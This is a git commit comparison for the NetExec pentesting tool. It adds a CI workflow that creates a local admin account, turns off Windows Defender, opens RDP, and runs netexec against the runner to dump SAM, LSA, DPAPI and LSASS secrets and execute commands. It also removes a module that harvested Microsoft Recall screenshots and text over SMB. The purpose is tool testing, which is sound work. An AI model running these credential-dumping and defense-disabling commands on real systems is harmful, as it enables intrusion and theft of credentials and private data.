Compare commits

..
Author SHA1 Message Date
mpgn 77b3797da6 drop 3.8 2024-06-20 09:16:16 +00:00
mpgn 5e416d7b3e disable defender 2024-06-20 09:15:12 +00:00
mpgn b565bed227 Update checker.yml
Signed-off-by: mpgn <[email protected]>
2024-06-19 19:07:37 +02:00
mpgn 9c41c567b9 Update checker.yml
Signed-off-by: mpgn <[email protected]>
2024-06-19 18:56:08 +02:00
mpgn 3fa07310c5 add rdp 2024-06-19 16:53:27 +00:00
mpgn 7b5ca88243 add rdp 2024-06-19 16:41:51 +00:00
mpgn b77fc9d919 add rdp 2024-06-19 16:36:54 +00:00
mpgn bb030122fe add rdp 2024-06-19 16:31:01 +00:00
mpgn 21e320af41 add rdp 2024-06-19 16:28:44 +00:00
mpgn cf2c0a3b66 add rdp 2024-06-19 16:26:09 +00:00
mpgn 75ba2e2afd add ssh 2024-06-19 15:09:03 +00:00
mpgn 06e45dd23f test 2024-06-19 15:00:49 +00:00
mpgn a866ab825c rename worflow run
debug

debug

debug

debug

debug

debug

Update windows-run.yml

Signed-off-by: mpgn <[email protected]>

debug

debug

debug

debug

debug

debug

debug

debug

debug
2024-06-19 11:17:36 +00:00
mpgn 6243163ad8 remove dev from poetry 2024-06-16 19:01:13 +00:00
mpgn da344b3b5f fix procdump module name 2024-06-16 19:00:01 +00:00
mpgn eb8ceab063 change workflow name 2024-06-16 18:53:40 +00:00
mpgn a2507f85b0 add worflow for windows 2024-06-16 18:50:53 +00:00
9 changed files with 194 additions and 214 deletions

No files matched your search

+179
View File
@@ -0,0 +1,179 @@
name: NetExec Checker
on:
pull_request:
branches: [ main ]
workflow_dispatch:
jobs:
lint:
uses: ./.github/workflows/lint.yml
nxc-smb:
runs-on: windows-latest
needs: [lint]
# technique stolen from @Hackndo my best friend for life <3
steps:
- name: Create new user
run: |
net user nxc Pwn3d!!! /add
- name: Add to local admin
run: |
net localgroup Administrators nxc /add
- name: Update registry key
run: |
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
- name: 👾 Disable defender
run: start-process -filepath powershell -ArgumentList '/c','Set-MpPreference -DisableRealtimeMonitoring $true' -verb RunAs
shell: powershell
- name: Checkout code
uses: actions/checkout@v2
- name: Setup Python
uses: actions/setup-python@v2
with:
python-version: '3.11'
- name: Install poetry
run: |
pipx install poetry --python python3.11
poetry --version
poetry env info
- name: Install libraries without dev group
run: |
poetry install
- name: Dumping sam
run: |
poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! --sam
- name: Dumping lsa
run: |
poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! --lsa
- name: Dumping dpapi
run: |
poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! --dpapi
- name: Dumping with lsassy
run: |
poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! -M lsassy
- name: Exec command
run: |
poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! -x whoami --exec-method=smbexec
poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! -x whoami --exec-method=wmiexec
poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! -x whoami --exec-method=atexec
poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! -x whoami --exec-method=mmcexec
- name: Dumping with procdump
run: |
poetry run netexec --verbose smb %COMPUTERNAME% %COMPUTERNAME% %COMPUTERNAME% -u nxc -p Pwn3d!!! -M procdump
nxc-winrm:
runs-on: windows-latest
needs: [lint]
# technique stolen from @Hackndo my best friend for life <3
steps:
- name: Create new user
run: |
net user nxc Pwn3d!!! /add
- name: Add to local admin
run: |
net localgroup Administrators nxc /add
- name: Update registry key
run: |
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
- name: Enable WinRM
run: |
winrm quickconfig -quiet
- name: 👾 Disable defender
run: start-process -filepath powershell -ArgumentList '/c','Set-MpPreference -DisableRealtimeMonitoring $true' -verb RunAs
shell: powershell
- name: Checkout code
uses: actions/checkout@v2
- name: Setup Python
uses: actions/setup-python@v2
with:
python-version: '3.11'
- name: Install poetry
run: |
pipx install poetry --python python3.11
poetry --version
poetry env info
- name: Install libraries without dev group
run: |
poetry install
- name: Dumping sam
run: |
poetry run netexec winrm 127.0.0.1 -u nxc -p Pwn3d!!! --sam
- name: Dumping lsa
run: |
poetry run netexec winrm 127.0.0.1 -u nxc -p Pwn3d!!! --lsa
- name: Exec command
run: |
poetry run netexec winrm 127.0.0.1 -u nxc -p Pwn3d!!! -x whoami
nxc-rdp:
runs-on: windows-latest
needs: [lint]
# technique stolen from @Hackndo my best friend for life <3
steps:
- name: Create new user
run: |
net user nxc Pwn3d!!! /add
- name: Add to local admin
run: |
net localgroup Administrators nxc /add
- name: Update registry key
run: |
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
- name: Update registry key rdo
run: |
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
- name: Open Firewall
run: |
netsh advfirewall firewall add rule name="Open Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
- name: Checkout code
uses: actions/checkout@v2
- name: Setup Python
uses: actions/setup-python@v2
with:
python-version: '3.11'
- name: Install poetry
run: |
pipx install poetry --python python3.11
poetry --version
poetry env info
- name: Install libraries without dev group
run: |
poetry install
- name: Checking rdp
run: |
poetry run netexec rdp 127.0.0.1
- name: Checking auth
run: |
poetry run netexec rdp 127.0.0.1 -u nxc -p Pwn3d!!!
nxc-ssh:
runs-on: ubuntu-latest
needs: [lint]
# technique stolen from @Hackndo my best friend for life <3
steps:
- name: Enable ssh
run: |
sudo apt update
sudo apt install openssh-server
sudo systemctl status ssh
- name: Checkout code
uses: actions/checkout@v2
- name: Setup Python
uses: actions/setup-python@v2
with:
python-version: '3.11'
- name: Install poetry
run: |
pipx install poetry --python python3.11
poetry --version
poetry env info
- name: Install libraries without dev group
run: |
poetry install
- name: Connection with user
run: |
poetry run netexec ssh 127.0.0.1
+2 -5
View File
@@ -1,14 +1,11 @@
name: Lint Python code with ruff
name: lint
# Caching source: https://gist.github.com/gh640/233a6daf68e9e937115371c0ecd39c61?permalink_comment_id=4529233#gistcomment-4529233
on:
push:
on: [workflow_call]
jobs:
lint:
runs-on: ubuntu-latest
if:
github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository
steps:
- uses: actions/checkout@v3
View File
Whitespace-only changes.
+1 -3
View File
@@ -2,8 +2,6 @@ name: NetExec Tests
on:
workflow_dispatch:
pull_request_review:
types: [submitted]
jobs:
build:
@@ -14,7 +12,7 @@ jobs:
max-parallel: 5
matrix:
os: [ubuntu-latest]
python-version: ["3.8", "3.9", "3.10", "3.11", "3.12"]
python-version: ["3.10", "3.11", "3.12"]
steps:
- uses: actions/checkout@v3
- name: Install poetry
+1
View File
@@ -78,6 +78,7 @@ class NXCModule:
dump = True
else:
context.log.fail("Process lsass.exe error un dump, try with verbose")
sys.exit(1)
if dump:
regex = r"([A-Za-z0-9-]*.dmp)"
-137
View File
@@ -1,137 +0,0 @@
from impacket import smb, smb3
import ntpath
from os import rename
from os.path import split, join, splitext, dirname, abspath
from glob import glob
from sqlite3 import connect
class NXCModule:
"""
Recall
-------
Module by @Marshall-Hallenbeck (@mjhallenbeck on Twitter)
Inspired by https://github.com/xaitax/TotalRecall (code my own)
"""
name = "recall"
description = "Downloads Microsoft Recall folders for all users"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.context = None
self.module_options = None
def options(self, context, module_options):
"""
USERS Download only specified user(s); format: -o USERS=user1,user2,user3
SILENT Do not display individual file download messages; set to enable
"""
self.context = context
self.recall_path_stub = "\\AppData\\Local\\CoreAIPlatform.00\\UKP\\"
self.users = module_options["USERS"] if "USERS" in module_options else None
self.silent = module_options["SILENT"] if "SILENT" in module_options else False
def on_admin_login(self, context, connection):
output_path = f"recall_{connection.host}"
context.log.debug("Getting all user Recall folders")
user_folders = connection.conn.listPath("C$", "\\Users\\*")
context.log.debug(f"User folders: {user_folders}")
if not user_folders:
self.context.log.fail("No User folders found!")
else:
context.log.display("User folder(s) found, attempting to dump Recall contents (no output means no Recall folder)")
for user_folder in user_folders:
if not user_folder.is_directory():
continue
folder_name = user_folder.get_longname()
context.log.debug(f"{folder_name=} {self.users=}")
if folder_name in [".", "..", "All Users", "Default", "Default User", "Public"]:
continue
if self.users and folder_name not in self.users:
self.context.log.debug(f"Specific users are specified and {folder_name} is not one of them")
continue
recall_path = ntpath.normpath(join(r"Users", folder_name, self.recall_path_stub))
context.log.debug(f"Checking for Recall folder {recall_path}")
try:
connection.conn.listPath("C$", recall_path)
except Exception:
context.log.debug(f"Recall folder {recall_path} not found!")
continue
user_output_dir = join(output_path, folder_name)
try:
context.log.display(f"Downloading Recall folder for user {folder_name}")
connection.download_folder(recall_path, user_output_dir, True)
except (smb.SessionError, smb3.SessionError):
context.log.debug(f"Folder {recall_path} not found!")
context.log.success(f"Recall folder for user {folder_name} downloaded to {user_output_dir}")
self.rename_screenshots(user_output_dir)
context.log.debug("Parsing Recall DB files...")
db_files = glob(f"{output_path}/*/*/ukg.db")
for db in db_files:
self.parse_recall_db(db)
def parse_recall_db(self, db_path):
self.context.log.debug(f"Parsing Recall database {db_path}")
parent = abspath(dirname(dirname(db_path)))
self.context.log.debug(f"Parent: {parent}")
conn = connect(db_path)
c = conn.cursor()
win_text_cap_tab = "WindowCaptureTextIndex_content"
joined_q = f"""
SELECT t1.c1, t2.c2
FROM {win_text_cap_tab} AS t1
JOIN {win_text_cap_tab} AS t2 ON t1.c0 = t2.c0
WHERE t1.c1 IS NOT NULL AND t2.c2 IS NOT NULL;
"""
c.execute(joined_q)
window_content = c.fetchall()
with open(join(parent, "window_content.txt"), "w") as file:
file.writelines(f"{row[0]}, {row[1]}\n" for row in window_content)
window_q = f"SELECT c1 FROM {win_text_cap_tab} WHERE c1 IS NOT NULL;"
c.execute(window_q)
windows = c.fetchall()
with open(join(parent, "windows.txt"), "w") as file:
file.writelines(f"{row[0]}\n" for row in windows)
content_q = f"SELECT c2 FROM {win_text_cap_tab} WHERE c2 IS NOT NULL;"
c.execute(content_q)
content = c.fetchall()
with open(join(parent, "content.txt"), "w") as file:
file.writelines(f"{row[0]}\n" for row in content)
web_tab = "Web"
web_q = f"""
SELECT Uri FROM {web_tab};
"""
c.execute(web_q)
uris = c.fetchall()
with open(join(parent, "uris.txt"), "w") as file:
file.writelines(f"{row[0]}\n" for row in uris)
app_tab = "App"
app_q = f"""
SELECT Name, WindowsAppId, Path FROM {app_tab};
"""
c.execute(app_q)
apps = c.fetchall()
with open(join(parent, "apps.txt"), "w") as file:
file.writelines(f"{row[0]}, {row[1]}, {row[2]}\n" for row in apps)
def rename_screenshots(self, path):
self.context.log.debug(f"Renaming screenshots at {path}")
files = glob(f"{path}/*/ImageStore/*")
self.context.log.debug(f"Files to rename: {files}")
for file in files:
directory, filename = split(file)
if not splitext(filename)[1]:
rename(file, join(directory, f"{filename}.jpg"))
+11 -64
View File
@@ -7,7 +7,6 @@ from Cryptodome.Hash import MD4
from impacket.smbconnection import SMBConnection, SessionError
from impacket.smb import SMB_DIALECT
from impacket.smb3structs import FILE_READ_DATA, FILE_WRITE_DATA
from impacket.examples.secretsdump import (
RemoteOperations,
SAMHashes,
@@ -396,7 +395,6 @@ class smb(connection):
self.logger.debug(f"Logged in with password to SMB with {domain}/{self.username}")
self.is_guest = bool(self.conn.isGuestSession())
self.logger.debug(f"{self.is_guest=}")
if "Unix" not in self.server_os:
self.check_if_admin()
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
@@ -469,7 +467,6 @@ class smb(connection):
self.logger.debug(f"Logged in with hash to SMB with {domain}/{self.username}")
self.is_guest = bool(self.conn.isGuestSession())
self.logger.debug(f"{self.is_guest=}")
if "Unix" not in self.server_os:
self.check_if_admin()
user_id = self.db.add_credential("hash", domain, self.username, self.hash)
@@ -1309,75 +1306,25 @@ class smb(connection):
def put_file(self):
for src, dest in self.args.put_file:
self.put_file_single(src, dest)
def download_file(self, share_name, remote_path, dest_file, access_mode=FILE_READ_DATA):
try:
self.logger.debug(f"Getting file from {share_name}:{remote_path} with access mode {access_mode}")
self.conn.getFile(share_name, remote_path, dest_file, shareAccessMode=access_mode)
return True
except SessionError as e:
if "STATUS_SHARING_VIOLATION" in str(e):
self.logger.debug(f"Sharing violation on {remote_path}: {e}")
return False
except Exception as e:
self.logger.debug(f"Other error when attempting to download file {remote_path}: {e}")
return False
def get_file_single(self, remote_path, download_path, silent=False):
def get_file_single(self, remote_path, download_path):
share_name = self.args.share
if not silent:
self.logger.display(f"Copying '{remote_path}' to '{download_path}'")
self.logger.display(f'Copying "{remote_path}" to "{download_path}"')
if self.args.append_host:
download_path = f"{self.hostname}-{remote_path}"
with open(download_path, "wb+") as file:
if self.download_file(share_name, remote_path, file.write):
if not silent:
self.logger.success(f"File '{remote_path}' was downloaded to '{download_path}'")
else:
self.logger.debug("Opening with READ alone failed, trying to open file with READ/WRITE access")
if self.download_file(share_name, remote_path, file.write, FILE_READ_DATA | FILE_WRITE_DATA):
if not silent:
self.logger.success(f"File '{remote_path}' was downloaded to '{download_path}'")
else:
if not silent:
self.logger.fail(f"Error downloading file '{remote_path}' from share '{share_name}'")
try:
self.conn.getFile(share_name, remote_path, file.write)
self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"')
except Exception as e:
self.logger.fail(f'Error writing file "{remote_path}" from share "{share_name}": {e}')
if os.path.getsize(download_path) == 0:
os.remove(download_path)
def get_file(self):
for src, dest in self.args.get_file:
self.get_file_single(src, dest)
def download_folder(self, folder, dest, recursive=False, silent=False, base_dir=None):
normalized_folder = ntpath.normpath(folder)
base_folder = os.path.basename(normalized_folder)
self.logger.debug(f"Base folder: {base_folder}")
items = self.conn.listPath(self.args.share, ntpath.join(folder, "*"))
self.logger.debug(f"{len(items)} items in folder: {items}")
for item in items:
item_name = item.get_longname()
if item_name not in [".", ".."]:
dir_path = ntpath.normpath(ntpath.join(normalized_folder, item_name))
if item.is_directory() and recursive:
self.download_folder(dir_path, dest, silent, recursive, base_dir or folder)
elif not item.is_directory():
remote_file_path = ntpath.join(folder, item_name)
# change the Windows path to Linux and then join it with the base directory to get our actual save path
relative_path = os.path.join(*folder.replace(base_dir or folder, "").lstrip("\\").split("\\"))
local_folder_path = os.path.join(dest, relative_path)
local_file_path = os.path.join(local_folder_path, item_name)
self.logger.debug(f"{dest=} {remote_file_path=} {relative_path=} {local_folder_path=} {local_file_path=}")
os.makedirs(local_folder_path, exist_ok=True)
try:
self.get_file_single(remote_file_path, local_file_path, silent)
except FileNotFoundError:
self.logger.fail(f"Error downloading file '{remote_file_path}' due to file not found (probably a race condition between listing and downloading)")
def get_folder(self):
recursive = self.args.recursive
for folder, dest in self.args.get_folder:
self.download_folder(folder, dest, recursive)
def enable_remoteops(self):
try:
-2
View File
@@ -65,8 +65,6 @@ def proto_args(parser, parents):
files_group = smb_parser.add_argument_group("Files", "Options for remote file interaction")
files_group.add_argument("--put-file", action="append", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt")
files_group.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
files_group.add_argument("--get-folder", action="append", nargs=2, metavar="DIR", help="Get a remote directory, ex: \\\\Windows\\\\Temp\\\\testing testing")
files_group.add_argument("--recursive", default=False, action="store_true", help="Recursively get a folder")
files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename")
cmd_exec_group = smb_parser.add_argument_group("Command Execution", "Options for executing commands")
-3
View File
@@ -129,9 +129,6 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M webdav -
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M winscp
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M zerologon
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M recall
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M recall -o USERS=Administrator,User
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M recall -o USERS=Administrator,User SILENT=True
# test for multiple modules at once
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler -M petitpotam -M zerologon -M nopac -M dfscoerce -M enum_av -M enum_dns -M gpp_autologin -M gpp_password -M lsassy -M impersonate -M install_elevated -M ioxidresolver -M ms17-010 -M ntlmv1 -M runasppl -M shadowcoerce -M uac -M webdav -M wifi
##### SMB Anonymous Auth